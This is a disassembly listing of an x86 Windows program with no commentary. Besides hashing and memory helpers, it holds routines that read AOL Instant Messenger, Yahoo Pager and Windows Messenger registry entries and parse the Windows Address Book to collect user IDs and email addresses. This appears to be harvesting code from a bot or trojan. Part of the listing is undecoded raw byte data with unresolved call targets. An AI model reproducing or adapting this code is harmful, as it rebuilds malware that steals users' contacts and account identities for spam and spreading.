		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_24]
		lea	edx, [edx+eax+432AFF97h]
		mov	eax, edx
		shr	eax, 16h
		shl	edx, 0Ah
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_8]
		lea	edi, [edi+edx-546BDC59h]
		mov	edx, edi
		shr	edx, 11h
		shl	edi, 0Fh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_2C]
		lea	ebx, [ebx+edi-36C5FC7h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_10]
		lea	ecx, [ecx+ebx+655B59C3h]
		mov	ebx, ecx
		shr	ebx, 1Ah
		shl	ecx, 6
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_34]
		lea	eax, [eax+ecx-70F3336Eh]
		mov	ecx, eax
		shr	ecx, 16h
		shl	eax, 0Ah
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_18]
		lea	edx, [edx+eax-100B83h]
		mov	eax, edx
		shr	eax, 11h
		shl	edx, 0Fh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_3C]
		lea	edi, [edi+edx-7A7BA22Fh]
		mov	edx, edi
		shl	edx, 15h
		shr	edi, 0Bh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_20]
		lea	ebx, [ebx+edi+6FA87E4Fh]
		mov	edi, ebx
		shr	edi, 1Ah
		shl	ebx, 6
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_4]
		lea	ecx, [ecx+ebx-1D31920h]
		mov	ebx, ecx
		shr	ebx, 16h
		shl	ecx, 0Ah
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_28]
		lea	eax, [eax+ecx-5CFEBCECh]
		mov	ecx, eax
		shr	ecx, 11h
		shl	eax, 0Fh
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_C]
		lea	edx, [edx+eax+4E0811A1h]
		mov	eax, edx
		shl	eax, 15h
		shr	edx, 0Bh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_30]
		lea	edi, [edi+edx-8AC817Eh]
		mov	edx, edi
		shr	edx, 1Ah
		shl	edi, 6
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_14]
		lea	ebx, [ebx+edi-42C50DCBh]
		mov	edi, ebx
		shr	edi, 16h
		shl	ebx, 0Ah
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		push	40h
		xor	ebx, edx
		push	0
		add	ebx, [esp+64h+var_38]
		lea	ecx, [ecx+ebx+2AD7D2BBh]
		mov	ebx, ecx
		shr	ebx, 11h
		shl	ecx, 0Fh
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, ebp
		mov	ebp, [esi+8]
		add	ebp, ebx
		lea	eax, [eax+ecx-14792C6Fh]
		mov	ecx, [esi]
		add	ecx, edx
		mov	edx, eax
		shl	edx, 15h
		shr	eax, 0Bh
		or	edx, eax
		mov	eax, [esi+4]
		add	edx, ebx
		mov	ebx, [esi+0Ch]
		add	eax, edx
		add	ebx, edi
		mov	[esi+4], eax
		lea	eax, [esp+64h+var_40]
		push	eax
		mov	[esi], ecx
		mov	[esi+8], ebp
		mov	[esi+0Ch], ebx
		call	sub_434770
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 40h
		retn
sub_433AB0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434660	proc near		; CODE XREF: sub_433A20+14p
					; sub_433A20+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		mov	edi, [esp+4+arg_8]
		test	edi, edi
		jbe	short loc_4346A7
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		push	esi
		or	esi, 0FFFFFFFFh
		lea	eax, [edx+1]
		sub	esi, edx


loc_43467A:				; CODE XREF: sub_434660+44j
		mov	dl, [ecx]
		add	ecx, 4
		mov	[eax-1], dl
		mov	edx, [ecx-4]
		shr	edx, 8
		mov	[eax], dl
		mov	edx, [ecx-4]
		shr	edx, 10h
		mov	[eax+1], dl
		mov	edx, [ecx-4]
		shr	edx, 18h
		mov	[eax+2], dl
		add	eax, 4
		lea	edx, [esi+eax]
		cmp	edx, edi
		jb	short loc_43467A
		pop	esi


loc_4346A7:				; CODE XREF: sub_434660+7j
		pop	edi
		retn
sub_434660	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4346D0	proc near		; CODE XREF: sub_433AB0+26p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		mov	ebp, [esp+4+arg_8]
		test	ebp, ebp
		jbe	short loc_43471A
		mov	ecx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, 0FFFFFFFEh
		lea	eax, [ecx+2]
		sub	edi, ecx


loc_4346ED:				; CODE XREF: sub_4346D0+46j
		xor	ecx, ecx
		xor	edx, edx
		mov	ch, [eax+1]
		mov	dl, [eax-1]
		mov	cl, [eax]
		add	eax, 4
		shl	ecx, 8
		or	ecx, edx
		xor	edx, edx
		mov	dl, [eax-6]
		add	esi, 4
		shl	ecx, 8
		or	ecx, edx
		mov	[esi-4], ecx
		lea	ecx, [edi+eax]
		cmp	ecx, ebp
		jb	short loc_4346ED
		pop	edi
		pop	esi


loc_43471A:				; CODE XREF: sub_4346D0+7j
		pop	ebp
		retn
sub_4346D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434740	proc near		; CODE XREF: sub_433940+4Ep
					; sub_433940+9Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		jbe	short loc_43475C
		mov	eax, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		sub	ecx, eax


loc_434753:				; CODE XREF: sub_434740+1Aj
		mov	dl, [ecx+eax]
		mov	[eax], dl
		inc	eax
		dec	esi
		jnz	short loc_434753


loc_43475C:				; CODE XREF: sub_434740+7j
		pop	esi
		retn
sub_434740	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434770	proc near		; CODE XREF: sub_433A20+60p
					; sub_433AB0+932p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		jbe	short locret_43479E
		mov	al, [esp+arg_4]
		push	ebx
		mov	bl, al
		mov	edx, ecx
		mov	bh, bl
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, ebx
		shl	eax, 10h
		mov	ax, bx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		pop	ebx

locret_43479E:				; CODE XREF: sub_434770+6j
		retn
sub_434770	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4347B0	proc near		; CODE XREF: sub_401C0Dj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4347B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	0Bh
		push	3
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+58h+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_4347B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Dh
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+30h]
		push	7
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4348A0:				; CODE XREF: ___:loc_401F1Ej
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43BDF6
		push	eax
		mov	eax, 16D4h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+16F0h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_434E5E
		push	80h
		mov	dword ptr [esp+1Ch], 800h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	ebp, eax
		lea	eax, [esp+64h]
		mov	ecx, esi
		push	offset asc_443600 ; " "
		push	1
		push	eax
		call	sub_4016AE
		push	800h
		mov	dword ptr [esp+16F0h], 0
		call	sub_4367FA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 50F7241Dh, 4C48300h,	0B9F88Bh, 33000002h, 0F83D89C0h
		dd 0F30050E3h, 57C4BEABh, 4E8B0044h, 4C8D51FCh,	0EE85024h
		dd 8DFFFCCFh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCCB6Fh
		dd 0FB1C3D8Bh, 0FF500050h, 4C483D7h, 4C244C8Dh,	0CB59E850h
		dd 0FF50FFFCh, 4C483D7h, 0D9E89050h, 83778132h,	0C08508C4h
		dd 26A840Fh, 3E810000h,	80000001h, 9B840Fh, 568B0000h
		dd 0F0685204h, 55004435h, 580FE890h, 0B9001Bh, 33000002h
		dd 24BC8DC0h, 6F0h, 0F30CC483h,	100B9ABh, 0FCBF0000h, 0F30050E3h
		dd 0E3F8A1ABh, 4C8D0050h, 948D1824h, 6E424h, 0C75100h
		dd 0
		dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch
		dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 443D3C68h
		dd 694F8D00h, 0FCCABEE8h, 938F8AFFh, 50000000h,	94878Ah
		dd 51500000h, 4D60A568h, 0CE1AE800h, 0C483FFFCh, 90006A1Ch
		dd 4BB925E8h, 81168B02h, 1FAh, 0B5850F80h, 0A0000001h
		dd 446F60h, 40B9h, 24848800h, 0E0h, 0BC8DC033h,	0E124h
		dd 2444C700h, 10428h, 66ABF300h, 4C8DAAABh, 448D4424h
		dd 50513024h, 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h
		dd 50514424h, 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h
		dd 424848Dh, 51000001h,	44C75250h, 4424h, 0E8900000h, 246B54Ch
		dd 1424448Bh, 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh
		dd 4C8D0000h, 548D4424h, 6A512024h, 6A006A00h, 24848D00h
		dd 0EF4h, 68575052h, 80000003h,	402444C7h, 800h, 47B507E8h
		dd 0C0859002h, 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h
		dd 55004436h, 20244489h, 1B56A0E8h, 0B99000h, 33000002h
		dd 24BC8DC0h, 6F4h, 0F310C483h,	100B9ABh, 0FCBF0000h, 0F30050E3h
		dd 24448DABh, 19685010h, 6A000200h, 3685500h, 0E8800000h
		dd 24EB6E9h, 8468B90h, 18244C8Dh, 0E424948Dh, 51000006h
		dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h,	24548B0Bh
		dd 0E8905210h, 24BB7DEh, 8D08568Bh, 8D182444h, 6E4248Ch
		dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h
		dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h
		dd 443D3Ch, 0E8694F8Dh,	0FFFCC913h, 938F8Ah, 8A500000h
		dd 9487h, 68515000h, 4D60A5h, 0FCCC6FE8h, 1CC483FFh, 1024548Bh
		dd 77E89052h, 8B024BB7h, 8B24247Ch, 47142444h, 7C89F83Bh
		dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCC619E8h
		dd 10C683FFh, 5A14FE81h, 820F0044h, 0FFFFFD2Ah,	0F75C2D8Bh
		dd 448D0050h, 68501C24h, 20019h, 0A068006Ah, 6800445Bh
		dd 80000002h, 302444C7h, 0
		dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h
		dd 6A525100h, 68006A00h, 446A5Ch, 85D3FF50h, 0C1850FC0h
		dd 68000000h, 104h, 7F778EE8h, 0C4839077h, 248C8D04h, 2E4h
		dd 9468F08Bh, 5100445Bh, 446A4C68h, 26E85600h, 90001B55h
		dd 443E7C68h, 6DE85600h, 907780A3h, 0C483F88Bh,	74FF8518h
		dd 948D5775h, 8024h, 52646A00h,	0BEF3E890h, 0C4837780h
		dd 74C0850Ch, 24448D53h, 6A34687Ch, 90500044h, 812F8BE8h
		dd 8C48377h, 3C75C085h,	0F424948Bh, 8D000016h, 517C244Ch
		dd 446A1868h, 694A8D00h, 0FCC7DEE8h, 848B50FFh,	170024h
		dd 94888A00h, 8A000000h, 9390h,	68525100h, 4D60A5h, 0FCCB33E8h
		dd 18C483FFh, 92E89057h, 837780BDh, 0F68504C4h,	90560A74h
		dd 7F74EEE8h, 4C48377h,	1C24448Bh, 23E89050h, 8D024BB6h
		dd 0C71C244Ch, 80182444h, 51000000h, 2001968h, 68006A00h
		dd 4469F0h, 268h, 8BD5FF80h, 8D1C244Ch,	8D182454h, 2E42484h
		dd 50520000h, 6A006Ah, 446A5C68h, 0D3FF5100h, 850FC085h
		dd 0BAh, 10468h, 767DE800h, 8390777Fh, 948D04C4h, 2E424h
		dd 68F08B00h, 4469E8h, 69D86852h, 0E8560044h, 1B5415h
		dd 3E7C6890h, 90560044h, 80A25BE8h, 83F88B77h, 0FF8518C4h
		dd 8D576E74h, 802484h, 646A0000h, 0E2E89050h, 837780BDh
		dd 0C0850CC4h, 4C8D4C74h, 0BC687C24h, 51004469h, 812E7BE8h
		dd 0C4839077h, 75C08508h, 249C8B35h, 16F4h, 7C24548Dh
		dd 69A06852h, 4B8D0044h, 0C6CDE869h, 8B8AFFFCh,	93h, 94838A50h
		dd 50000000h, 60A56851h, 29E8004Dh, 83FFFCCAh, 905718C4h
		dd 80BC88E8h, 4C48377h,	0A74F685h, 73E5E856h, 8390777Fh
		dd 548B04C4h, 0E8521C24h, 24BB51Ah, 244C8D90h, 2484C764h
		dd 16ECh, 0FFFFFFFFh, 0FCC3CDE8h, 184E9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_434E5E:				; CODE XREF: ___:004348E1j
		lea	ecx, [edi+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_434FE2
		lea	eax, [esp+10h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareAmeric ; "Software\\America Online\\AOL	Instant	Mes"...
		push	80000001h
		nop
		call	near ptr 292023Dh
		test	eax, eax
		jnz	loc_434FE2
		mov	ecx, 40h
		lea	edi, [esp+1E4h]
		rep stosd
		lea	ecx, [esp+14h]
		lea	edx, [esp+1E4h]
		push	ecx
		mov	ecx, [esp+14h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	0
		push	offset dword_446938
		push	ecx
		mov	dword ptr [esp+2Ch], 100h
		nop
		call	near ptr 28D0000h
		test	eax, eax
		jz	short loc_434EE8
		mov	edx, [esp+10h]
		push	edx
		nop
		call	near ptr 28F035Eh
		jmp	loc_434FE2
; ---------------------------------------------------------------------------


loc_434EE8:				; CODE XREF: ___:00434ED6j
		mov	eax, [esp+14h]
		mov	ecx, [esp+10h]
		mov	ebp, dword_50F738
		push	ecx
		mov	byte ptr [esp+eax+1E8h], 0
		call	ebp
		lea	edx, [esp+1E4h]
		lea	ebx, [esi+69h]
		push	edx
		push	offset dword_44692C
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		lea	edx, [esp+10h]
		push	edx
		push	0F003Fh
		push	0
		push	offset aSoftwareYahooP ; "Software\\Yahoo\\Pager"
		push	80000001h
		call	near ptr 292023Dh
		nop
		test	eax, eax
		jnz	loc_434FE2
		mov	ecx, 40h
		lea	edi, [esp+0E0h]
		rep stosd
		lea	eax, [esp+14h]
		lea	ecx, [esp+0E0h]
		push	eax
		mov	eax, [esp+14h]
		lea	edx, [esp+24h]
		push	ecx
		push	edx
		push	0
		push	offset aYahooUserId ; "Yahoo! User ID"
		push	eax
		mov	dword ptr [esp+2Ch], 100h
		call	near ptr 28D0000h
		nop
		test	eax, eax
		jz	short loc_434F9F
		mov	ecx, [esp+10h]
		push	ecx
		call	ebp
		jmp	short loc_434FE2
; ---------------------------------------------------------------------------


loc_434F9F:				; CODE XREF: ___:00434F94j
		mov	edx, [esp+14h]
		mov	eax, [esp+10h]
		push	eax
		mov	byte ptr [esp+edx+1E8h], 0
		call	ebp
		lea	ecx, [esp+0E0h]
		push	ecx
		push	offset aYahooS	; "yahoo: %s"
		mov	ecx, ebx
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_434FE2:				; CODE XREF: ___:00434E70j
					; ___:00434E94j ...
		mov	ecx, [esp+16E4h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 16E0h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4351E0	proc near		; CODE XREF: sub_4016F4j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4351E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+3Ch+var_24]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
sub_4351E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435280:				; CODE XREF: ___:loc_401FD7j
		sub	esp, 6CCh
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4017E4
		mov	ebp, [esp+6E0h]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_43551E
		lea	eax, [esp+14h]
		mov	dword ptr [esp+20h], 320h
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
		push	80000001h
		nop
		call	near ptr 292023Dh
		mov	eax, [esp+14h]
		test	eax, eax
		jz	loc_43551E
		lea	ecx, [esp+20h]
		lea	edx, [esp+1D8h]
		push	ecx
		push	edx
		push	0
		push	0
		push	offset byte_446F60
		push	eax
		call	near ptr 28D0000h
		nop
		mov	eax, [esp+14h]
		push	eax
		nop
		call	near ptr 28F035Eh
		push	0
		push	80h
		push	4
		push	0
		push	1
		lea	ecx, [esp+1ECh]
		push	80000000h
		push	ecx
		call	near ptr 2850000h
		nop
		push	0
		push	0
		push	0
		mov	edi, eax
		push	2
		push	0
		push	edi
		mov	[esp+34h], edi
		nop
		call	near ptr 2710000h
		mov	ebx, eax
		test	ebx, ebx
		mov	[esp+24h], ebx
		jnz	short loc_435359
		push	edi
		nop
		call	near ptr 28207FBh
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_435359:				; CODE XREF: ___:00435341j
		push	0
		push	0
		push	0
		push	4
		push	ebx
		nop
		call	near ptr 271078Bh
		mov	esi, eax
		test	esi, esi
		jnz	short loc_435389
		mov	esi, dword_50F8D8
		push	ebx
		call	esi
		push	edi
		call	esi
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_435389:				; CODE XREF: ___:0043536Cj
		xor	edx, edx
		xor	eax, eax
		mov	dh, [esi+63h]
		mov	ah, [esi+61h]
		mov	dl, [esi+62h]
		and	eax, 0FFFFh
		movsx	ecx, byte ptr [esi+64h]
		shl	edx, 10h
		or	edx, eax
		xor	eax, eax
		mov	al, [esi+60h]
		or	edx, eax
		mov	eax, ecx
		shl	eax, 4
		add	eax, ecx
		shl	eax, 2
		test	eax, eax
		jle	short loc_435428
		lea	ecx, [eax+43h]
		mov	eax, 0F0F0F0F1h
		lea	edi, [edx+esi]
		mul	ecx
		mov	ebx, edx
		shr	ebx, 6


loc_4353CB:				; CODE XREF: ___:0043541Ej
		xor	eax, eax
		mov	ecx, edi


loc_4353CF:				; CODE XREF: ___:004353DFj
		mov	dl, [ecx]
		add	ecx, 2
		mov	[esp+eax+0ACh],	dl
		inc	eax
		cmp	eax, 44h
		jle	short loc_4353CF
		lea	eax, [esp+0ACh]
		lea	ecx, [ebp+69h]
		push	eax
		push	offset aFoundEmailS_ ; "Found EMail (%s)."
		mov	byte ptr [esp+0F8h], 0
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		add	edi, 44h
		dec	ebx
		jnz	short loc_4353CB
		mov	ebx, [esp+24h]
		mov	edi, [esp+1Ch]


loc_435428:				; CODE XREF: ___:004353B7j
		push	edi
		mov	edi, dword_50F8D8
		call	edi
		push	esi
		nop
		call	near ptr 27109D5h
		push	ebx
		call	edi
		lea	eax, [esp+18h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"...
		push	80000001h
		nop
		call	near ptr 292023Dh
		test	eax, eax
		jnz	loc_43551E
		mov	ebx, off_50FBF0
		mov	dword ptr [esp+10h], 400h
		mov	dword ptr [esp+28h], 3
		xor	esi, esi


loc_435477:				; CODE XREF: ___:0043550Ej
		mov	ecx, 20h
		xor	eax, eax
		lea	edi, [esp+2Ch]
		push	esi
		rep stosd
		lea	ecx, [esp+30h]
		push	offset dword_446A78
		push	ecx
		call	ebx ; sub_5EA1BD
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+2E8h]
		add	esp, 0Ch
		rep stosd
		lea	edx, [esp+10h]
		lea	eax, [esp+2DCh]
		push	edx
		lea	ecx, [esp+2Ch]
		push	eax
		mov	eax, [esp+20h]
		push	ecx
		lea	edx, [esp+38h]
		push	0
		push	edx
		push	eax
		inc	esi
		mov	dword ptr [esp+28h], 400h
		nop
		call	near ptr 28D0000h
		test	eax, eax
		jnz	short loc_435513
		lea	ecx, [esp+2DCh]
		push	ecx
		push	offset dword_446A6C
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		push	64h
		call	near ptr 2811E0Eh
		nop
		jmp	loc_435477
; ---------------------------------------------------------------------------


loc_435513:				; CODE XREF: ___:004354D3j
		mov	ecx, [esp+18h]
		push	ecx
		nop
		call	near ptr 28F035Eh


loc_43551E:				; CODE XREF: ___:004352A4j
					; ___:004352D4j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 0B0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4355E0	proc near		; CODE XREF: sub_401E47j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4355E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	7
		push	5
		push	12h
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+5Ch+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_401681
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_4355E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Bh
		push	17h
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+34h]
		push	7
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_401681
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4356F0	proc near		; CODE XREF: sub_401E4Cj

var_135		= byte ptr -135h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= byte ptr -124h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4356F0
		push	eax
		mov	large fs:0, esp
		sub	esp, 12Ch
		push	ebx
		push	esi
		mov	esi, [esp+140h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_435BC7
		push	ebp
		xor	ebp, ebp
		push	ebp
		push	offset asc_443600 ; " "
		lea	eax, [esp+150h+var_128]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+158h+var_134], ebp
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], ebp
		push	ecx
		push	20019h
		push	ebp
		mov	ecx, eax
		call	sub_4017E4
		mov	edi, dword_50F75C
		push	eax
		push	80000001h
		call	edi
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	ebp
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	ebp
		push	ebp
		mov	ecx, eax
